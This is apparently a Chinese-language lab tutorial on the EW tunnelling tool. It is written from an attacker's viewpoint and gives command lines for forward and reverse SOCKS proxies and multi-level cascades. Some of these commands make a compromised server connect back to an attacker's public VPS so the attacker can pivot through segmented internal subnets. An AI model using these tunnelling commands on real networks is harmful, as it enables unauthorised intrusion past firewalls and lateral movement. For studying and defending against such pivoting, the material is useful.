正向、反向代理工具的典型案例介绍
1.EW网络穿透工具介绍
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。
2.EW使用命令
2.1 EW的使用
(1) EW使用命令格式
1 | 该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。 |
- EW在使用时的命令
1 | EW -* 使用命令情况 |
3.EW实践过程
3.1 EW穿透实践介绍
网络拓扑图如下,为了实现多级代理的功能,只有同层间的网络才能互相访问,不同网段之间是不能进行访问的。
vps: XX.XX.XX.XX ;攻击者:192.168.0.X
- 第一层网络:192.192.192.0/24
- 第二层网络:192.168.52.0.0/24
- 第三层网络:192.168.93.0/24
3.2 EW实现第一层网络的功能
场景:
我们需要利用EW穿透工具对内网网段192.168.52.0段进行访问,所以我们搭建内网代理进行访问,由于目标服务器具有公网地址,所以我们可以使用正向代理和反向代理两种方法。
(1) 正向代理
1 | 正向代理是服务器开放监听端口,客户端(攻击者)主动连接服务器的端口。 |
正向代理拓扑:
- 目标服务器启动代理服务端
在目标服务器上面添加一个监听的端口,然后我们再通过代理工具进行正向连接代理服务器+监听的端口就可以访问192.168.52.0段的网络情况。
1 | windosw: |
- 目标服务器端口详情
- proxy代理连接测试
- 192.192.192.92连接测试
远程连接
服务访问
(2) 反向代理
1 | 反向代理是客户端开发端口,服务器连接客户端。 |
反向代理拓扑:
- 攻击者VPS启动代理客户端
在攻击者的公网vps上添加EW转接隧道,将监听端口1080收到的代理请求转交给反连8888端口的目的服务器。
1 | windows: |
- 目标服务器上启动SOCKS v5服务端并反弹到公网vps主机的8888端口
1 | ew_for_Win.exe -s rssocks -d 公网VPS -e 8888 |
- proxy代理连接
- 192.192.192.92连接测试
远程连接
服务访问
3.3 多层代理实现过程
内网的环境中一般只有一层,没有做比较大的限制,⽐如说A 主机的⽹段是 192.192.192.X ,内⽹其他主机的⽹段也是 192.192.192.X,或者没有对其他网段做逻辑隔离限制。那么就可以直接搭建简单的一层内⽹隧道;那么如果⽬标内⽹有⼆层(192.168.52.X )、三层(192.168.93.X),每⼀层主机的⽹段只能和上⼀层的⽹段相互访问,那么这个时候我们应该怎样做,才能从第⼀层访问到最后⼀层,直到把整个内网的网段都能进行整体的访问,这就需要多级代理的功能点。
现在我们的一层网络代理,只能访问到192.168.52.xx这个网段,所以我们通过反向代理用攻击者的VPS服务器搭建访问第二层网络192.168.93.XX段的多级代理隧道进行内部网段的访问。
正向多级代理拓扑:
反向多级代理拓扑:
(1) 在攻击机的VPS启动EW的代理客户端
在攻击者的vps添加EW转接隧道,将1080端口收到的代理请求流量转交给反连1234端口的目的服务器
- 攻击机VPS配置
1 | 攻击机:./ew_for_linux64 -s rcsocks -l 1080 -e 1234 |
- 运行成功
(2) 在目的服主机上启动监听
目的服务器端口999,并将999端口接收到的代理流量,转发给攻击者的vps的1234端口
- 目的服务器配置
1 | ew_for_Win.exe -s lcx_slave -d 公网VPS地址 -e 目的服务器端口 -f 内网机器地址 -g 内网监听端口 |
- 运行成功
(3) 在内网机器中启动正向代理服务端
- 内网机器配置
1 | ew_for_Win.exe -s ssocksd -l 999 |
- 运行成功
(4) proxy代理测试
由于我们做的代理为多层代理,内网的机器是访问不到互联网的一个状态,所以代理服务器连接外网的测试失败,但是我们代理进内网的隧道已经进行打通,可以访问192.168.93.0这个网段的地址。
(4) 隧道192.168.93.0段网段测试
3.4 多级级联拓展
工具中自带的三条端口转发指令, 它们的参数格式分别为:
1 | ./ew -s lcx_listen -l 1080 -e 8888 |
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5服务。
(1) 二级级联_正向连接
- lcx_tran 的用法
1 | 内网机器: $ ./ew -s ssocksd -l 9999 |
(2) 二级级联_反向连接
- lcx_listen、lcx_slave 的用法
1 | 公网VPS: ./ew -s lcx_listen -l 1080 -e 8888 |
(3) 三级级联_反向连接
1 | 公网VPS: ./ew -s rcsocks -l 1080 -e 8888 |
按照以上上述的反向代理方法,不管是第几层网络我们都能访问到。从而实现了内网中的多级代理功能。